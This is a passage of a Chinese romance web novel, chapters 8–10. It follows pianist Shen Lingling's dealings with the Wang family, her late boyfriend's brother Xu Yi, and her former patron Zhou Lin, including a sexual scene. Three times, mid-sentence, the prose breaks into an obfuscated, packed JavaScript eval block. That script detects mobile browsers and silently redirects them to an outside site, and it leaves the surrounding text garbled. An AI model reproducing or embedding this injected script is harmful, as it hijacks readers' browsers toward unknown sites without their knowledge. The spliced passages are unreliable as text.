刘之玲的视线忽然越过沈泠泠肩头,打招呼:“薇薇回来了。” “是啊,嫂子。”王薇含笑走进来,“我来找泠泠说两句话。” “那你们谈。”刘之玲抱臂,踩着高跟鞋离去。 透明檐廊附近的白色遮阳伞下,王薇优雅地拢了拢裙摆落座。 “咖啡还是果茶?”她挑眉问道。 “果茶就行了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459210|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我要冰咖啡。”王薇抬眸示意,佣人立即欠身退下。 她与堂妹王琪有七分相似,只是眉眼更显艳丽。 王家别墅像个巨大的学校,占地很广,远处碧绿的草坪上,王英州小小的身影骑在马背上。 刘之玲站在场边,唇角挂着笑意。 只不过,沈泠泠观察下来,王英州无论是骑马还是钢琴都不怎么开心。 “刚刚我嫂子跟你说的话我都听到了。你别介意,她是个娱乐明星就因为长得漂亮,怀孕了被爆出来才上位的。现在息影了,就晓得让我侄子学才艺,学了就好像印证她多厉害似的。” “也不是。她也是关心孩子。”沈泠泠没有接这种抱怨,目光转回来,连带着话题,“还没谢过你推荐我。” 佣人端来果茶和咖啡,分别放置在他们面前,沈泠泠轻声道:“谢谢。” “我们之间何必客气。”王薇自如地端起咖啡抿了口,以为沈泠泠这句话是对她说的,又问,“还适应吗?” 沈泠泠没有解释:“挺适应的。英州蛮有学钢琴的天分。” “是吗。能得到你的称赞可不简单。”她的手指在杯壁上点了点,又问抬眸,话锋一转,“这次回来,周凛没找你吗?” 好像前面都是为了这句话的铺垫。 沈泠泠回答:“找了。” 王薇笑了笑:“是你告诉他你回来的吗?” “不是。” 王薇的表情微妙地凝固了一瞬,旋即又端起咖啡:“哦。” 沈泠泠不想骗她,也不太想继续这个话题。这个圈子里很多事大家都知道,譬如王薇对周凛一直很有兴趣,还被安排过相亲,被周凛拒了。 她拿起果茶慢慢喝了一口,说这个可能会得罪对方,可是她又不太擅长撒谎,所以只能回答得很简单,不过遮在对方耳朵听起来是另一回事。 “周凛找你说什么呀?”王薇又问。 “没说什么。” “他难道没找你复合吗?”王薇笑着,端起咖啡,直勾勾盯着她,本意是开玩笑。谁都知道沈泠泠和周凛是那种关系,难道周凛还会再找她复合? 沈泠泠沉默片刻,垂了垂眼睫毛,反而像是承认。 阳光突然变得刺眼起来。王薇脸上的笑意渐渐凝固,她慢慢喝了口咖啡。 寂静片刻,她放下咖啡。 “对了,”王薇突然提起,声音轻快得有些突兀,“徐意前两天来打高尔夫,你见到他了吧?” “见到了。” “他跟徐庭真像,不是么?”王薇的语气突然怅惘起来,“有时候我都恍惚觉得……是徐庭回来了。”她忽然抬头,竭力安慰似的,“那件事真的不怪你,你别太记在心上。毕竟他也不是你害死的。这种人祸谁都不想的。” 沉默片刻,沈泠泠道:“谢谢你的下午茶,我要回去了。” 王薇勾起嘴角,慢条斯理端起咖啡,眼皮也没抬:“好啊。慢走。我就不送了。” 8. 回国(8) #chapter8 徐意跟乐队成员们排练完毕,带上门,从房间里离开。 他们之所以选这里也是因为顶楼只有两户,不会影响邻里关系。毕竟要是被举报扰民也很麻烦。 对面的门传来钢琴声。 《肖邦第一谐谑曲》。 沈泠泠回来了。 音符像急雨,弹得这么快,是心情不好么? “对面也是搞音乐的?”阿乐嚼着口香糖,胳膊肘撞了下徐意。 “算是。”徐意收回视线,拇指重重按下电梯按钮,“古典乐。玩钢琴的。不过小提琴、吉他和长笛都会。” “这么厉害?你认识?”阿乐眼睛一亮,“年轻吗?男的女的?要是合适可以加入咱们乐队,咱们正好缺人。” “缺人去学校找。”徐意语气生硬,盯着电梯楼层数字不断跳动,“往这儿找什么。” “也是。”阿乐无所谓地耸耸肩,转身和鼓手讨论晚上的宵夜,“晚上吃什么?” 徐意盯着电梯门反射的自己,自动将他们对话屏蔽在身后。 活着的人永远都是受益者。就连痛苦都显得弥足珍贵——至少还能用音乐发泄。 而死去的人,连痛苦的权利都没有。 七月底的天气阴郁沉闷,厚重的云层压得很低。沈泠泠套了件宽松的米色针织衫出了门。 她不会开车,也很少打车,而墓地那边不通地铁,只能坐公交车去。 好在车上没什么人,她选了个靠窗的位置坐下,目光漫无目的地掠过窗外飞逝的景色。她经常安静地发呆,所以就算是两个小时,倒也过得快。 徐庭的陵园墓地。在国外的两年她没来。 应该有人祭拜过。 墓前摆着新鲜的雏□□,花瓣还带着水汽,应该是他的家人上午放的。他们家总是习惯上午来,所以她会特地错开时间下午来。 沈泠泠站在墓碑前,静静注视着照片上的人。 黑白照片里的他仍停留在二十岁的模样,眉眼温柔,唇角微扬。 恍然间,她已经二十六岁了,才开始学着自食其力。 要是徐庭还活着,一定很惊讶。 沈泠泠在墓前站了很久,直到身后传来脚步声。她微微侧头,看见徐意手里拿着一束花走近。 他似乎也没料到会在这里遇见她,脚步顿了一下,才继续向前——下午他开车送乐队成员回学校,再处理了专辑琐事这才过来,没想到跟沈泠泠目的地居然相同。 他弯腰放下菊花,声音淡淡的:“我还以为你忘记他了呢。” 沈泠泠背影纤瘦,没有回答,转身就要走。 “怎么?”徐意起身盯着她,语气里藏着不易察觉的紧绷,“你没什么要说的吗?” 沈泠泠止住脚步,目光平静:“说什么?” 她像是真的在问他应该说什么。 “不知道说什么。”徐意扯了扯嘴角,笑意里带着一丝讥诮。 他直起身,走到沈泠泠面前。 曾经那个矮她半头的初中生,如今已经比她高出大半个头。 徐意清亮的眼睛里压着某种情绪:“说对不起。” 还是沈泠泠第一次这样近距离打量成年后的徐意,这张脸跟徐庭确实很像,尤其是眼睛。 只不过徐庭温和,而他更张扬凌厉。 “对不起。”沈泠泠顺从地说。 “一句对不起就够了吗?”徐意又问。 沈泠泠沉默。对不起确实不够。 当年她对徐家父母说过,可道歉终究是轻飘飘的,毫无意义。 他们心里有芥蒂,所以她选择了远离。 如果她能让人起死回生,她一定会让徐庭活过来。 可她不能。 “你为什么毕业的时候要送我花和贺卡?”徐意盯着她的眼睛。 “徐庭之前提过,想去你的毕业典礼。” “这么多年,你跟我们家几乎没联系,在国外的时候却突然送花给我。”徐意上下打量她,眼神带着审视,“听说你跟周凛断了,是又看上我了吗?”他扯了扯嘴角,“说不定我会跟我哥那样,给你钱,为你舍命。” 沈泠泠完全没想过他有这种想法,震惊得蹙起眉头。 徐意伸手,指尖轻轻挑起她肩上的一缕发丝,语气轻佻:“不过你要是主动,我也说不定会考虑考虑。”他玩味地一字一句道,“毕竟,我哥喜欢你。我可以补偿他的心愿。” 沈泠泠没说话,只是视线在他脸上一扫。 她没想过他对她的想法是这样的。 也是,自从她跟周凛在一起三年,很多人对她定义就是“可卖”,可以提出价格。 “你不是你哥。” 徐意的表情凝固了一瞬,手指松开:“你说什么?” “你不是你哥。”沈泠泠又重复了一遍,语气平静得像在陈述一个再简单不过的事实,“我跟徐庭的事已经过去了,所以我不会在你身上找替代,更不会打你的主意。你可以放心。” 徐意似乎咬牙切齿地斟酌着三个字:“已经过去了?” “是。无论你相不相信,我并不想打扰你们的生活,以后不会再打扰你们。” 直到她的身影消失在墓园拐角,徐意仍然没有移开视线。 沈泠泠站在公交站台,正在等车。 公交车迟迟未来,天很沉,快要下雨了,风吹得人有些冷,她独自站在站台角落里。 她很少想起过去的事。 但要是想起来,也会完全不克制地去想。 祭拜完哥哥,徐意开车下山。 阴沉的天空压得更低,远处已经隐约传来雷声。转过一个弯,他看见公交站台上那个熟悉的身影——沈泠泠抱着手臂站在挡风处,微微低着头,像是在数地上的砖块,又像是在出神。 “已经过去了。” 她怎么能说得这么轻易?他哥哥可是为她付出了生命。 徐意下意识放慢车速,手指在方向盘上敲了敲。 已经快六点了,这种天气公交车怕是很难等。 要不要捎她一程? 这个念头刚冒出来,他就看见一辆黑色宝马稳稳停在了站台前。 是周凛的车。 车窗降下,两人说了几句话,沈泠泠就拉开车门坐进了副驾驶。徐意嘴角扯出一个冷笑。 原来她还没跟她的金主断啊。 车内,周凛把空调温度调高了些。 “你怎么来了?”沈泠泠问。 “这个日子你一般不都在这么?”周凛回答。以前他就知道,只不过当作不知道,今天是见快要下雨了,怕她回不来特地来接的。 沈泠泠说:“谢谢。” 周凛伸手摸摸她后脑勺头发,特地看了她一眼:“你我客气什么。” 一辆明黄色的跑车从他们身侧呼啸而过。 车主转头,朝他们竖起了一根中指,疾驰而过。 周凛认得对方,是徐意。 他们接触不多,不过因为徐庭的关系,他对徐庭这个弟弟也有印象。那张脸不会让他认错。 他搭在方向盘上的手指轻轻敲了两下,没有多说什么,倒是特地去扫了眼沈泠泠的表情。 时间距离这么近,大概他们在山上聊过天。 沈泠泠没什么太大反应。 天咣啷一声,迅疾下起暴雨,沈泠泠偏头,雨水在玻璃上蜿蜒。 暴雨反倒给他们铸造出了静谧空间。 周凛放慢了车速。这里是郊区,本可以开得更快些。 记得三年前的今天,也是这样的暴雨。 那天的雨从清晨就开始下。 周凛原本上午有个重要合同要谈,硬是提前结束了会议赶回去,他怕她去祭拜徐庭,想送她过去。 推开门时,她正独自坐在落地窗前,并没有出发。 见到他回来,她转头,神情讶异:“你怎么回来了。” 周凛记得自己当时什么也没说,径直走过去将她打横抱起,放在床上。 他们是明确的情人关系。 沈泠泠不是那种出卖自己还会摆出清高脸色的类型,基本上床上她都很配合,也没有跟电视剧女主角那样倔强地还钱给他,以示脱俗。 既然签了合同,一切都是你情我愿。 只要他表露出意图,除了生理条件不允许,她基本不拒绝。 床单是冰凉的丝绸质地,她的皮肤也是。 沈泠泠那张脸白皙清丽,标准的鹅蛋脸,杏仁般的眼睛,小巧的鼻子和樱花唇,脖颈很长,身材玲珑,但没模特那么高挑。可以说她是很符合男性审美类型的。 他伸手一点一点仔细地抚摸下去。 她从初中就是很多男生的梦中情人。 但因为她跟徐庭早早确定关系,徐庭跟所有人关系都不错,包括周凛,当初周凛创业还是徐庭投资了一大笔钱,是以,没有人真的敢挖墙角,就算挖也要掂量掂量。 周凛脱下外套,解开衬衫领带,双手撑在沈泠泠身侧。 两侧床垫柔软地塌陷。 他进来就没开灯,下午时间,屋子里是昏暗的,午后的光线透过雨帘,在房间里投下朦胧的光影。 但又能彼此看清,周凛的目光沉沉地落入沈泠泠的眼睛。 他也不说什么,低头亲吻她。 周凛的胸膛完全覆压下来,左手顺着她后背游移,触到那枚小小的银质拉链,一点点拉开。 外面电光闪烁,阴云密布,继而转而淅淅沥沥的雨声。 雷声渐远。 别墅卧室内,安静,温暖。 他很喜欢看她的表情,她偶尔也会推在胸膛露出拒绝意味,不知是因为疼痛还是疲倦,不过周凛一般不会放过她,除非真把她弄疼了。 他极其喜欢她双颊通红、眼神迷离的模样。 说他恶趣味也罢,低俗也罢。 人就是这样一种充满欲望的动物。 他喜欢她平日里的高冷,也喜欢她在床上忍耐蹙眉的样子。 那天他状态极好,也许明知那天是徐庭的祭日,也许是因为阴雨闷雷极为有氛围,他持续了很久,故意的,整个房间里一直都是她的闷哼声。 她在想什么,他无法阻止。 就算此时此刻,她想的人是徐庭,可人在他身边,他就是心满意足的。 人在他身边又没有特别反感他,没到跟他上床就恶心到生不如死的地步,他就是满足的。 黑暗中藏着闷雷声,闷雷声中周凛声音近在咫尺,他低头目视她。 “沈泠泠。舒服么。” 周凛经常会问她一些很露骨的话题,以至于沈泠泠也想过,究竟因为他们这种关系,还是男人都会问女人这个问题。 她只别过脸去,没有回答。 周凛却笑,指尖慢慢按住她的唇角。 有时,他也会很恶趣味地想让她咬自己的拇指,她又不肯,只好他低头咬她的唇角。 他克制着没有真的咬疼她,只是很想在她身上留下一个独属于他的印记。 一个小时后,周凛将车停在沈泠泠公寓楼下,雨点砸在车顶发出密集的声响。 他倾身打开储物箱,取出一个深蓝色丝绒盒子:“打开看看。” 沈泠泠记得他上次提过要送香水。 但眼前这个方盒的尺寸,明显装着首饰。 她掀开盒盖,一条精致的银链静静躺在其中。 吊坠是个小巧的音符造型。 这是蒂凡尼已经停产的经典款。 “不贵重。”周凛的目光温柔落在她侧脸,“看到时觉得很适合你。” 沈泠泠多看了一阵,因为当初徐庭也送过她同款。他们刚谈恋爱那会儿,他送她的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459211|169674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件礼物。 “我收下了。”沈泠泠说。 周凛不是故意送,他向来避开跟徐庭有关的东西,连问都很少问。 他是个很注重当下、不太介意过去的男人。 周凛挑眉:“我还以为你会拒绝。” “因为我喜欢所以就收下了,以后会回礼。” 那倒是不用。周凛心道。可回礼自然就会多增加接触,他内心也不反对。 雨势未歇。 车前挡风玻璃上雨水如注,模糊了外面的世界。 周凛侧过脸,目光落在她微垂的睫毛上:“一个人在家会害怕吗?需不需要我陪你?” 沈泠泠摇头:“不用了,不是小孩子。” 周凛低笑一声,在他眼里她倒是一直需要被呵护。 只不过他也知道,今晚要是她松口,自己必定会趁势而入。 “吃过饭了吗?” “还没。”沈泠泠望向窗外被雨水冲刷得扭曲的街景,“不过找了阿姨,晚上会来做饭。”这次回来,只有周凛会事无巨细地问她一些生活上的事。 雨点砸在车顶的声音变得清晰。 “那就好。本来想带你出去吃饭。不过恰好今天晚上我有事。不然找人给你送点?” “不用了。车上有伞吗?” 周凛从后座摸出一把黑伞递过去。伞骨很沉,握在手里冰凉。沈泠泠推开车门,潮湿的气息扑面而来,她撑开伞下车。 雨雾中,周凛坐在车里,视线跟着她从车窗外一路到小区楼底下。 伞是黑色的。她是白色的。 像一朵小小的花骨朵。 沈泠泠。泠泠。 第一次看她的名字错看成了“冷冷”,那时他心想,人如其名,只不过有些俗气了。 之后才意识到,是泠泠。 很像雨声,不是吗? 泠泠声。 沈泠泠回到公寓,用纸巾擦干净伞面的雨水放好,走到客厅,雨水正从玻璃门底部的缝隙渗进来,在地板上蜿蜒成细流。 新闻确实预警过暴雨,她也关了门。 但没想到雨水会从阳台那边漏到客厅,连钢琴脚都泡到了。 沈泠泠快步走进洗手间,抽出拖把,浸湿拧干,擦拭着地板上的水痕。 她反复拖了几遍,直到确认完全擦干。 再去仔细检查钢琴——还好,只是沾了点水汽,并没有真的浸湿。 好险。 顶楼的公寓采光极好,平日里阳光充足,但她从没想过暴雨天会是这样。 雨水拍打玻璃的声音比楼下要响得多,阳台玻璃门偶尔还会有些震动。 “轰——” 一道闷雷骤然炸响。 沈泠泠手指一紧,立刻拉上了落地窗的遮光帘,又去卧室检查了一圈,确认所有窗户都关严实,才稍稍松了口气。 一个闷雷闪烁在玻璃门上。 沈泠泠拉上玻璃门的帘子,又去卧室检查窗户,一一拉上窗帘。 雨太大了。 沈泠泠给张阿姨发微信,让她不用过来。 她去打开冰箱。 冰箱里没什么剩饭剩菜,只有些食材,鸡蛋、莲藕、西红柿之类。 西红柿鸡蛋面应该不难,她又仔细搜了一遍教程,确认好步骤后,这才系上围裙。 冰箱里拿出两个鸡蛋,打碎壳放入碗中搅拌。 热锅倒油,先倒入蛋液炒成固体形状,再加入切好的西红柿翻炒,直到红色的汁水渐渐渗出,再倒入清水,最后放入一小把面条,盖上锅煮。 等待。 等待了将近十分钟,沈泠泠打开锅盖。 面条翻起来了。 明明只放了一小把,可煮熟后的面条占据了整个锅——面条放多了。她用锅铲翻动两下,再加了点盐。 不知道什么时候算熟,她只好等到面条彻底松软才关火。 沸腾的汤逐渐平静下来。 其实卖相还不错。西红柿鲜红,鸡蛋明黄。 吃了一口。 眉头瞬间皱起。 ……好难吃。 既没有西红柿的酸甜,也尝不出鸡蛋的鲜香,只有寡淡的面粉味混着奇怪的咸。 可她还是想吃点热东西,而不是零食。 沈泠泠勉强挑着碗里的西红柿和鸡蛋吃了几口,最终还是把剩下的面条都倒进了垃圾桶。 水流冲刷着瓷碗,她低着头,手指被温水泡得微微发红。 洗着洗着,厨房盥洗池下方靠着衣柜的位置,竟然流出不少水。 突然,她注意到洗碗池下方的柜门缝隙里,正缓缓渗出一小滩水。 不是溅出来的——她洗碗时很小心。 更像是管道哪里裂了。 放下碗,她又去拿拖把。水渍很快被擦干,但只要一开水龙头,那处缝隙就又会慢慢洇出湿痕。 反复拖了几次后,她确定一定是哪里有问题。 可打开橱柜,她又看不出来。 只好决定等明天张阿姨来了再说。 回到客厅时,手机屏幕显示已经晚上八点多。这一晚上都在和漏水较劲,还吃了小半碗难以下咽的面。 沈泠泠回到卧室,坐在梳妆镜前。 打开周凛送的那个礼物盒,端详好一阵,才把它放入梳妆台的抽屉里。 她换上睡衣,躺在床上,查看天气。 雷雨天气要持续一整夜,直到第二天中午。 她刷着一些钢琴演奏的视频。 窗外时不时划过一道闪电,雷声近在咫尺,轰隆作响。 到了十点,她准备睡觉,滑进被窝,本想关灯手指伸过去,停了两秒收回来。 可开着灯睡觉到底不安稳。 以至于她一晚上眼皮都被光照着,像是鬼压床似的,身体动不了,又将窗外雷声听得一清二楚。 9. 回国(9) #chapter9 次日,沈泠泠叫来物业来修水管。 不到一个小时穿着工装的物业就上门了。 “管道堵了,普通的铁丝通不开。”物业蹲在洗手台前,将铁丝从管道中抽出。 “为什么新的房子会堵?”沈泠泠疑惑。 物业站起身,拍了拍手上的灰尘,目光在房间里扫视一圈:“这是后期加建的。估计赶工期,有水泥渣掉进管道了。” “那该怎么办?” “得找专业人士来处理。” “认识是认识。你需要的话我把电话号码给你。我也就是打过几次照面。” “好。” 物业掏出手机。打完电话:“好。那我就先走了,待会儿师傅会上门。” 没过多久,一个大概一米八几的彪形大汉,拎着类似于电动钻头一样的东西上门:“林师傅让我来的。” 沈泠泠带他去看盥洗池。 对方二话没说,找好电源伸电钻进去,哐当一阵后说道:“确实是堵了,需要专业的溶剂。” 只见他倒进一瓶琥珀色药水,又继续操作电钻。不一会儿,几块锈红色的碎屑被钻了出来。整个过程不过几分钟。 “上门费50,疏通费150,特殊药水500,总共700。”师傅一边收拾工具,一边头也不抬地说。 这么贵的吗? 沈泠泠指尖在手机屏幕上悬停了一瞬。物业明明说是水泥堵了,可钻出来的不过是几片铁锈、碎蛋壳,更像是厨房垃圾不小心冲下去的痕迹。 她抿了抿唇,最终还是扫码付了款。 没过多久,张阿姨挎着菜篮推门进来,一听价格立刻瞪大眼睛:“哎哟,这不是宰人嘛!什么药水值500?我家下水道堵了,拿铁丝弯个钩,再不行倒点白醋泡泡,自己都能通开!” “是吗……”沈泠泠低声应着。 “啊哟,真是,你早跟我说,我叫人来给你疏通,一百块钱都不要……”张阿姨一边摘菜,一边惋惜。 沈泠泠倒没说什么。 她当时觉得贵,却没有说。 顶楼没什么人,只有她和那个维修工。那人一进门就带着股逼人的压迫感,穿过客厅很明显打量了一下房子。而这很明显是她一个独居女性的住所,没有男性。 对方上门知道地址。 她不知道自己这种担心是不是多余,但是在这种情况下,她只希望不发生纠纷,让对方赶紧离开。 现在看来,自己确实是被坑了。 张阿姨做好菜,一一端上来,又忍不住絮叨说:“这就是,他们看你是一个小姑娘,好欺负是吧,要是家里有个男的,跟他们吵几句就不一样了。” 沈泠泠:“阿姨,你不是还要去隔壁做饭吗?” 张阿姨说:“是啊,那我先走了。” 沈泠泠没说话。 本来漏水这件事,她第一反应是想问张阿姨。 可她怕张阿姨把她儿子叫过来。 她不太想张阿姨过多介入自己的生活。 前两天张阿姨还建议她再多收几个学生赚钱,说她这个年龄为以后考虑要多存钱,只有一个学生不保险,又总想推销她儿子。 好像一个年轻、独居的女性,是一种需要被立刻占有、打上标记,就会变得安全了的资源。 沈泠泠喝了两口汤。 她是吃了亏不错,可是吃一堑长一智,下一次就知道怎么处理了。 沈泠泠昨晚没睡好。 中午回到房间里午睡,直到下午三点多才慢悠悠地醒过来,精力恢复,心态平和,她坐在钢琴前对着阳台开始弹奏,享受时间的每一分每一秒。 这就是她目前只收一个学生的原因。 AutomatonWaltz。 小调卡农和弦。轻快灵动。 她也需要像保护珍稀动物那样保护自己的身体、精力和状态。 手指继续翻飞,一转眼,阳光透过玻璃琴房洒落。 窗外整片嫩绿草地。 空调的冷风徐徐吹拂,带着春日般的惬意。 王英州推门而入,小脸绷得紧紧的,一屁股坐在琴凳上。 琴凳微微下沉。 沈泠泠停下,问:“怎么了?” 王英州将双手重重按在琴键上,发出沉闷的声响,摇摇头:“没怎么。” “那为什么不开心?” “不知道。”王英州闷声闷气回答,他的手指在琴键上缓缓敲动着,“我也不知道我为什么不开心,但就好像不开心。” 小孩子连自己开不开心都不知道? 也难怪……暑假不能跟朋友出去玩。 不是打高尔夫就是骑马拉小提琴学代码和ai,另外还在准备钢琴和编程竞赛……完全没有玩的时间。 来王家一个月了,她也大概摸清楚了些情况。 王驰没结婚在圈子里就是著名的“玩咖”,专门喜欢泡网红和女明星,刘之玲以前是个网红,还演了几部网剧,怀孕上位的。 刘之玲因为学历和网红经历,有点不太被王家待见。 夫妻关系好像也一般。 刘之玲整个希望都落在儿子王英州身上,给他报了各种各样的班。 而王驰听说还没收心,依然在外面有好几个情人。 起码这一个月,她都没怎么见到王驰回来过。 “我们来做个手指操吧。”她轻轻揉了揉男孩的发顶,“看你能不能跟上我?” “什么手指操?”王英州终于抬起头。 沈泠泠放下钢琴盖,十指微微曲起放在琴盖上。 沈泠泠合上琴盖,十指微曲轻放在漆黑的琴面上。“腕要平,”她示范着动作,“掌关节撑住,指尖要有力。”她的手指开始跳动,“我先慢后快,以前我做这个,连我老师都跟不上呢。” 王英州的眼睛一下子亮了起来,胜负欲被彻底点燃。他紧盯着沈泠泠的手指,全神贯注。 “好,开始啦。” 沈泠泠手指在琴盖上翻飞。 王英州有基础,立马跟上。 沈泠泠见状,加快速度,动作越来越快。 她笑了一笑,小孩子的手指虽然短,但确实灵动敏锐。 王英州也越来越快,两个人的手指就像两只在林间追逐的小兽,在黑色的“草丛”中你追我赶。 玻璃门外,徐意和王薇正在草地上散步聊天。 “你还不放心我啊?”王薇歪着头,“我们公司发行能力有什么不放心的,更何况你们现在有流量,给你谈网易云音乐开屏推荐。” “那行。”徐意嘴角扬起一个浅笑,单手插在牛仔裤裤兜里。 王家就是做娱乐行业的,王薇刚毕业从她爸爸手里接管了一个音乐公司。 他们也不是没考虑签约大公司,可是大公司束缚多,又是各种宣传又是各种配合的,王薇没什么经验,但喜欢撑面子,好说话,公司她说了算,合同怎么签都行。 徐意往前踱了两步,目光不经意间掠过玻璃琴房,突然顿住——沈泠泠正坐在钢琴前,正在教王英州钢琴。 还真是巧。 今天她也在。 王薇顺着他的视线看去,立刻环抱起双臂,语气不善:“我嫂子请她来,就是为了跟小孩子玩游戏的?” “学音乐兴趣很重要。”徐意收回目光,语气平静,“师傅领进门,修行在个人。基础的技巧过后,兴趣才会让人发现最好的自己,你小侄子看起来挺开心。” 王薇轻哼:“谁跟小朋友玩游戏他会不开心。我要是给他一个ipad玩他能开心死。” 她放下手臂,突然压低声音:“你前几天跟她见面了么?” “见了。” “有没有说什么?” “我们能说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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作为周家独子,他本可以安心接手家族实业,却偏偏自己出来创业,硬是把投资公司做得风生水起。 在富二代圈子里,他是少有的实干派,和徐意这些搞艺术的向来算是井水不犯河水,没什么交集。 当视线扫到徐意时,他微微颔首示意。 徐意视若无睹,径直走向自己那辆明黄色的新能源跑车。 发动机的轰鸣声中,他透过后视镜,看见周凛仍站在原地,对于他的没礼貌倒没什么怒意,只是轻轻一笑,不以为意。 不知为何,徐意更加烦躁,仿佛……被他认为毫无威胁。 王薇正懒洋洋地躺在太阳伞下刷着iPad,无袖上衣露出雪白手臂,A字裙下翘着二郎腿。 王驰晃悠着走过来,在她面前投下一片阴影:“咦,今天周凛不是来找你吗?我刚看见他的车在门口。” “周凛来了?”王薇猛地坐直身子。 如果找她,肯定就有佣人过来告诉自己了。今天沈泠泠在,只可能是—— 王驰摸着下巴,饶有兴致地看着妹妹瞬间阴沉的脸,伸手拍了拍她的肩膀:“你不是说要专心搞事业吗?怎么还对周凛念念不忘的?要不哥给你介绍几个男明星?” “男明星不是学历低,就是私生活乱,我可没你那么low。”王薇意有所指地说,“我就看上周凛了。名牌大学毕业,又高又帅,自己创业还能做出那么大的公司。” “行,你厉害。”王驰没想到好心劝惹一身骚,“那就看看你能不能搞定他。反正我跟你说,我是男人我也喜欢沈泠泠。” “滚!”王薇猛地站起身,气冲冲地往别墅二楼走去。 她径直来到二楼阳台,从这里可以俯瞰整个湖景别墅的全貌。 周凛的车确实停在门口,而沈泠泠正好从钢琴房里出来。 沈泠泠走出别墅才知道周凛来了,他来之前也没打招呼。 她刚走近,周凛便上前迎来,开口问道:“喜欢这种别墅吗?” “什么?” 周凛微微一笑:“你要是喜欢,我们就买一套。” 10. 回国(10) #chapter10 “怎么突然有这种兴趣?” “也到时间了。”周凛走到副驾驶门前,拉开车门示意她上车,“考虑结婚生子。” 走到车门边的沈泠泠顿住,望向他。 稍后她,她沉默地坐进车内,系好安全带。 周凛回到驾驶座,引擎发出低沉的轰鸣声:“你不觉得我该考虑这些了吗?当然不是现在就要结婚,但提前物色婚房总没坏处。至少有时间精挑细选,还能好好装修。” “嗯。”沈泠泠靠着椅背,以着一种“不太关己”的语气说。 “不考虑给我一点参考意见?”周凛回头,十分特意地瞧她。 “这是你的事。” “未必不是你的事。” 车子平稳地驶入主干道。 过了片刻,沈泠泠才开口:“你不是已经有房子了?” “之前的公寓是租的。后来因为你跟我在一起才专门买了个房子。不过那个房子现在看起来有点小。”周凛双手握住方向盘,目光平静地直视前方,“我当时考虑的是地理位置、环境清幽、方便上班。但如果结婚生子,就要考虑孩子、长辈。所以刚刚看到那个湖景公园才会产生兴趣。在这种地方养孩子倒是不错。” “你考虑得真长远。” “钱就是用来花的。不花留着也没什么意义。” 一个人的谈吐总是透露价值观。 周凛是个非常大方的人,这种大方并不体现在买车买房买礼物上,相反,挑的礼物都不贵重。 这车都还是沈泠泠跟他在一块儿的那辆。 至今保养良好。 论性能和时尚确实不如现在的新车,可胜在稳定、舒服、安全。 家里的电器、衬衫、乃至早晚餐都很固定。 这也是周凛追求的,生活方面稳定,充沛的精力和决断力用于工作。 可他为沈家的供应商问题花了将近一个亿。 沈泠泠清楚地记得,他帮沈氏企业解决完所有欠款后,曾经专门让她带着律师前去查看。在沈泠泠确认无误后,沈家正式宣告破产。 那位律师是她大学同学,趁着去洗手间的空档悄悄问她:“周总出手真大方,你是怎么说服他的?” 回程的车上,周凛摇下车窗。 初夏的风裹挟着江水的湿气扑面而来,远处江面泛着细碎的白光,将他的侧脸映衬得格外清晰。 “赚钱就是为了花的。”他单手扶着方向盘,左手随意地搭在窗沿,“只要花在值得的事情上就够了。” 顿了顿,他又轻描淡写地补充:“那些供应商也不容易。就当是做慈善了。反正我本来每年也有一笔慈善基金。” 沈泠泠从回忆中抽离思绪:“要带我去哪?” “这两年新开了几家不错的餐厅。”周凛流畅地转动方向盘,“带你去尝尝。” 明明是一心专注于工作的类型,却交游广阔,可能常要出去调研之类的吧,对美食倒很有研究。以前就经常带她出去吃。 这次选的是一家中式烤肉店。 铜炉炭火,菜单上的招牌菜是:烤生蚝、铜炉牦牛肉。 这两样倒也都是沈泠泠爱吃的。 点完菜,沈泠泠正将长发挽起,周凛脱下西装外套,在卷衬衫袖子时忽然停住:“纽扣卡住了,帮我解一下。” 他言笑晏晏,分明是故意的。 他们坐的是四人座,身侧还有两个椅子。 沈泠泠挪到右侧椅子上,低头替他解开袖扣。她的手指轻轻翻动,将衬衫袖子一层层叠起,直到露出他结实的小臂。 周凛的目光灼灼地落在她脸颊上。 “你瘦了一些。”他忽然说。 沈泠泠卷起他袖子到胳膊肘,他胳膊粗硬,从来不是个文弱书生的类型,经常在房里一把轻巧地将她抱起。 胳膊皮肤还比以前黑了一些——比她记忆中。 估计是加强了运动。 她偶尔刷到他朋友圈照片,他会参加登山滑雪之类活动。 沈泠泠在他视线中卷完,坐回原先的位置。 “最近胃口不好?”周凛给她斟了杯清茶。 “口味不太习惯。”沈泠泠回答。 周凛意味深长看她一眼,倒没有多说。 他想照顾她。 可是她有自主的需求,他也不能硬强迫。 鲜嫩的肉片在铜炉上滋滋作响,油脂滴落在炭火上,激起一阵香气。 “还习惯一个人住吗?”周凛一边翻动着烤肉,一边问道。 沈泠泠夹起一片肉放在炉上:“边吃边说吧。” 周凛低笑一声,结实的手臂越过烤炉,动作娴熟地铺开肉片。 沈泠泠盯着他的动作。 回国这一个月,沈泠泠几乎没见什么朋友。当初成为周凛情人那三年,社交圈就渐渐断了联系。后来出国两年,更是与从前的生活彻底脱节。 不过她并不觉得可惜——即便在从前,她也从未真正融入过那个以王薇、王琪为中心的圈子。 